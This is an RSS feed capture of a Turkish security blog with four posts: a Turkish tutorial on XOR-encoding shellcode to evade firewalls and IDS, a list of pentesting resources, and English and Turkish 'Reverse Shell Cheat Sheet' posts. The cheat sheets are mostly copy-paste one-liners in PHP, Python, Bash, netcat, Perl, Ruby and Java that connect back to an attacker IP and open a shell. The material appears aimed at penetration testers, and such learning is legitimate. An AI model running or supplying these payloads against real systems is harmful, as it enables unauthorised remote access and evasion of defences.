shellcode arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Thu, 19 Apr 2018 19:52:48 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png shellcode arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | XOR Encoded Shellcode https://canyoupwn.me/xor-encoded-shellcode/ https://canyoupwn.me/xor-encoded-shellcode/#respond Tue, 28 Jun 2016 12:58:59 +0000 https://canyoupwn.me/?p=3060 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Shellcode‘lar, bir exploit‘in veya yazılmış zararlı yazılımdan sonra yapılacak işlemleri yapan kod parçalarıdır. Haliyle hedef sistem de mevcut olabilecek, Firewall, IPS&IDS gibi çözümler bu saldırılara bir nebze olarak engelleme faaliyetleri sürdürecektir. Saldırı yapan kişiler de bu firewalları geçmek için belirli bir encoding haliyle göndermektedir. XOR, bilgisayar mimarilerin de iki değerin aynı olması durumun da 0, […]

TR | XOR Encoded Shellcode CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Shellcode‘lar, bir exploit‘in veya yazılmış zararlı yazılımdan sonra yapılacak işlemleri yapan kod parçalarıdır. Haliyle hedef sistem de mevcut olabilecek, Firewall, IPS&IDS gibi çözümler bu saldırılara bir nebze olarak engelleme faaliyetleri sürdürecektir. Saldırı yapan kişiler de bu firewalları geçmek için belirli bir encoding haliyle göndermektedir.

XOR, bilgisayar mimarilerin de iki değerin aynı olması durumun da 0, farklı olması durumun da 1 set eder.

A – > 1
B – > 1

A xor B -> 0

C  -> 0
D -> 1

A xor B -> 1

Bir shellcode yazacağız.
Python ile XOR encoding edeceğiz.
Encoding hali, Assembly ile Decoding edip çalıştıracak..

Peki bu nasıl olacak, bizim yazdığım Shellcode’un byte byte hali ile XOR byte’mız ile Encoding edecek. Çıkan sonuç XOR Encoding shellcode olacak sonrasında biz bu Shellcodu tekrar Decoding edeceğiz.

Örneğin;

H -> 01001000
XOR Karakter M -> 01001101
XOR Encoding -> 00000101 haline gelecektir.
00000101 hex -> 0x5 gibi bir karaktere denk geliyor.

XOR anlatmak için basit’in basiti. H bu durum da shellcode, M ise 0xAA olmuş oluyor.
Bu 5 karakterini geri H karakterine çevirme işlemini yapacağız yani.

  • Başlayalım, shellcode yazmaya başlamadan önce Python ile bir XOR Encode yazalım. Siz herhangi bir dil de seçebilirsiniz.

1

Program’dan bahsedelim, burada iki tane değişken söz konusu bir tanesi shellcode için diğeri encoded shellcode için ve bir döngüye tabi bu döngü byte dizisi uzunluğunda sürecek ve bu süreç de 0xAA ile XOR edip gerekli parametreleri ekleyecek.

Buna başlamadan önce yazdığımız Shellcode hakkında biraz bilgi vereyim.

2

Shellcode yazıldığın da her zaman yazmak istediğiniz işlemin fonksiyonun sistem çağrı numarası EAX registerına yazılır. Yani siz diyelim ki, passwd dosyasının çalıştırma yetkisini değiştirmek istiyorsunuz. Haliyle bu da bir fonksiyon chmod() fonksiyonu bunun sistem çağrısı Linux 32 bit’de 15 yani biz bu fonksiyonu kullanabilmemiz için 15 sistem çağrı numarasını EAX registerına atamamız gerekir.

Fonksiyonumuz birden fazla parametre alabilme ihtimalinden sırasıyla diğer registera atılır.

CHMOD örneğinden yola çıkalım.
chmod fonksiyonu çağrısı -> EAX
chmod fonksiyonu ilk parametresi -> EBX
chmod fonksiyonun ikinci parametresi -> ECX

  • Chmod‘da ilk parametre yetkisini değiştirmek istediğiniz dosyanın path yoludur. passwd değiştirmek isterseniz, /etc/passwd‘un hex halini ilk önce stack‘e esp registerına oradan ebx return edebilirsiniz. ECX register’ına da 777 değerini atabilirsiniz.

Sonrası da int 0x80 ile kernel’i sahneye davet etmek.
Biz execve çalıştırdığımız için 11 sistem çağrısını al registerına atadık. Çalıştırmak istediğimiz programın path halini stack‘e atayıp geri çağırdık.

2.1

  • sh çalıştırdığım için böyle bir resim oldu, siz path adreslerini değiştirerek istediğiniz dosyayı çalıştırabilirsiniz. Belirtmek de fayda var bazı programlar çalışabilmesi için parametre alması gerekebilir bu durum da shellcode patates olur.

3

  • Yazdığımız shellcode‘un opcode‘larını çıkartık. Siz bu haliyle exploitlerinize ekleyebilirsiniz. Ama konu amacı bu değil. Çıkardığımız opcode‘ları XOR edeceğiz.

4

  • Encoded ettik şimdi yeni bir shellcode oluşturalım. Bu shellcode xor edilmiş halini çalışırken decode edip çalıştıracak.

5

  • Oklarla anlatmaya çalıştım ama yazı olarak da devam edeyim. _start ile işleme başlayıp call_decoder‘a atladık ve oraya atladığımız zaman decoder‘ı çağır dedi çağırdı. Decoder: tek tek işleyip decode: atladık sonra o da bir decoded olana kadar döngü işine girip Shellcode: atladı.  Assembly hali ile çalıştıracağınız zaman segmentation fault hatası verebilir. OS‘da bulunan belirli korumlardan dolayı çalıştırmadan opcodeları çekeceğiz tekrardan. Sonrasın da exploitimize ekleyeceğiz.

6

  • Assembly‘i derleyip objdump ile opcode‘ları çektik şimdi yeni oluşturacağımız C dosyasına eklemek olacak. Siz exploitlerinize de ekleyebilirsiniz. Son rutuş.

7
Execute!

8

Analiz ve sonuç.


Assembly non-encode

9

XOR Encode

10

 

TR | XOR Encoded Shellcode CanYouPwnMe

]]>
https://canyoupwn.me/xor-encoded-shellcode/feed/ 0
TR | Awesome Learn Pentesting https://canyoupwn.me/tr-awesome-penetration-testing/ https://canyoupwn.me/tr-awesome-penetration-testing/#respond Wed, 09 Mar 2016 07:00:59 +0000 https://canyoupwn.me/?p=709 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Online Kaynaklar: Sızma Testi Kaynakları Metasploit Unleashed – Ücretsiz Metasploit Kursları PTES – Sızma Testi Standartları OWASP – Web Uygulama Güvenliği Projesi   Shellcode Geliştirme Shellcode Örnekleri – Shellcode Veritabanı   Sosyal Mühendislik Kaynakları Kilit Kırma Kaynakları Schuyler Towne Youtube Channel – Kilit Kırma Teknikleri Reddit Lockpicking – Kilit Kırma Teknikleri ve Araç Önerileri   Araçlar Sızma Testi Dağıtımları Kali BlackArch […]

TR | Awesome Learn Pentesting Mustafa Kaan Demirhan

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Online Kaynaklar:

Sızma Testi Kaynakları

 

Shellcode Geliştirme

 

Sosyal Mühendislik Kaynakları

Kilit Kırma Kaynakları

Schuyler Towne Youtube Channel – Kilit Kırma Teknikleri

Reddit Lockpicking – Kilit Kırma Teknikleri ve Araç Önerileri

 

Araçlar

Sızma Testi Dağıtımları

 

Basit Sızma Testi Araçları

 

Zafiyet Tarama Araçları

  • Netsparker – Web Uygulama Güvenliği Tarama Aracı
  • Nexpose – Zafiyet/Risk Yönetimi Aracı
  • Nessus – Zafiyet Yapılandırma, Denetleme Aracı
  • OpenVAS -Açık Kaynaklı Zafiyet Tarama Aracı
  • OWASP Zed Attack Proxy – Web Uygulama Zafiyet Tarama Aracı
  • Secapps – Entegre Web Uygulama Güvenliği Test Ortamı
  • w3af – Web Uygulama Saldırı Aracı
  • Wapiti – Web Uygulama Zafiyet Tarama Aracı
  • Webreaver – Web Uygulama Zafiyet Tarama Aracı

 

Ağ Araçları

  • nmap – Ağ Haritası Çıkarmak, Çalışan Hizmetleri…vb. Bilgileri Elde Etmemize Yardımcı Olur
  • tcpdump – Paket Analizi Yapmamıza Yardımcı Olur
  • Wireshark – Ağ Protokol Analiz Aracı
  • Network Tools – Yaygın Olarak Kullanılan Ağ Araçları
  • netsniff-ng – Ağ Dinleme Aracı
  • SPARTA – Ağ Protokol Analiz Aracı

 

Kablosuz Ağ Araçları

  • Aircrack-ng – Kablosuz Ağ Trafiği Dinleme Aracı
  • KISMET – Kablosuz Ağ Dinleme Aracı
  • Reaver – Kaba Kuvvet Saldırı Aracı

 

SSL Analiz Araçları

  • SSLyze – SSL YapılandırmasI Tarama Aracı
  • sslstrip – https Saldırı Aracı

 

HEX Düzenleme

  • Hexed – Tarayıcı Tabanlı Hex Analiz Aracı

 

Kırma Araçları

 

Windows Araçları

 

DDoS Araçları

 

Sosyal Mühendislik Araçları

  • SET – Sosyal Mühendislik Araç Kiti

 

OSInt Araçları

  • Maltego – Aktif ve Pasif Bilgi Toplama Aracı

 

Gizlilik Araçları

  • Tor – Onion Yönlendirme İle Ağda Kimliğinizi Gizlemeye Yarar
  • I2P – The Invisible Internet Project

 

Tersine Mühendislik Araçları

 

Kitaplar

Sızma Testi Kitapları

 

Hacker ın El Kitabı Serisi

 

Ağ Analiz Kitapları

 

Tersine Mühendislik Kitapları

Zararlı Analiz Kitapları

Windows Kitapları

Sosyal Mühendislik Kitapları

Kilit Kırma Kitapları

 

Zafiyet Veritabanları

 

Güvenlik Kursları

 

Ctf Kütüphaneleri

 

Bilgi Güvenliği Konferansları

 

En Yaygın 125 Ağ Güvenliği Aracı

 

 

TR | Awesome Learn Pentesting Mustafa Kaan Demirhan

]]>
https://canyoupwn.me/tr-awesome-penetration-testing/feed/ 0
EN | Reverse Shell Cheat Sheet https://canyoupwn.me/en-reverse-shell-cheat-sheet/ https://canyoupwn.me/en-reverse-shell-cheat-sheet/#respond Sun, 31 Jan 2016 20:28:54 +0000 http://canyoupwn.me/?p=147 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell. If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell […]

EN | Reverse Shell Cheat Sheet Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.

The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.
Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

nclvp

The following examples 192.168.10.11 Local IP and the local port 4545 to listen


Php

php -r '$sock=fsockopen("192.168.10.11",4545);exec("/bin/sh -i <&3 >&3 2>&3");'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Bash

bash -i >& /dev/tcp/192.168.10.11/4545 0>&1

Netcat

nc -e /bin/sh 192.168.10.11 4545

Perl

perl -e 'use Socket;$i="192.168.10.11";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.10.11",4545).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.10.11/4545;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

EN | Reverse Shell Cheat Sheet Hakkı YÜCE

]]>
https://canyoupwn.me/en-reverse-shell-cheat-sheet/feed/ 0
TR | Reverse Shell Cheat Sheet https://canyoupwn.me/tr-reverse-shell-cheat-sheet-2/ https://canyoupwn.me/tr-reverse-shell-cheat-sheet-2/#respond Sun, 31 Jan 2016 20:28:43 +0000 http://canyoupwn.me/?p=53 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir sızma testinde hedef makina üzerinde komut çalıştırabilecek bir zafiyet yakalamışsınızdır ancak SSH keyi eklemenize yada benzer bir şekilde bağlantı açmanıza imkan vermiyor olabilir… Bu durumda bir TCP porta reverse shell almak istersiniz. Komut çalıştırarak reverse shell almanıza imkan sağlayacak etken hedef makinada çalışan betik  dilleridir, en stabil şekillerini sizin için “kopyala/yapıştır” kullanabileceğiniz bir şablon […]

TR | Reverse Shell Cheat Sheet Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir sızma testinde hedef makina üzerinde komut çalıştırabilecek bir zafiyet yakalamışsınızdır ancak SSH keyi eklemenize yada benzer bir şekilde bağlantı açmanıza imkan vermiyor olabilir…
Bu durumda bir TCP porta reverse shell almak istersiniz.

Komut çalıştırarak reverse shell almanıza imkan sağlayacak etken hedef makinada çalışan betik  dilleridir, en stabil şekillerini sizin için “kopyala/yapıştır” kullanabileceğiniz bir şablon halinde hazırladık.

Bu komutu hedef üzerinde çalıştırmadan önce istek yapacağınız portu Netcat dinlemeye almanız gerekmektedir.

nc -lvp [port]

nclvp

Aşağıdaki örneklerde 192.168.10.11 local IP ve 4545 ise dinleyeceğiniz local porttur

 


Php

php -r '$sock=fsockopen("192.168.10.11",4545);exec("/bin/sh -i <&3 >&3 2>&3");'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Bash

bash -i >& /dev/tcp/192.168.10.11/4545 0>&1

Netcat

nc -e /bin/sh 192.168.10.11 4545

Perl

perl -e 'use Socket;$i="192.168.10.11";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.10.11",4545).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.10.11/4545;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

TR | Reverse Shell Cheat Sheet Hakkı YÜCE

]]>
https://canyoupwn.me/tr-reverse-shell-cheat-sheet-2/feed/ 0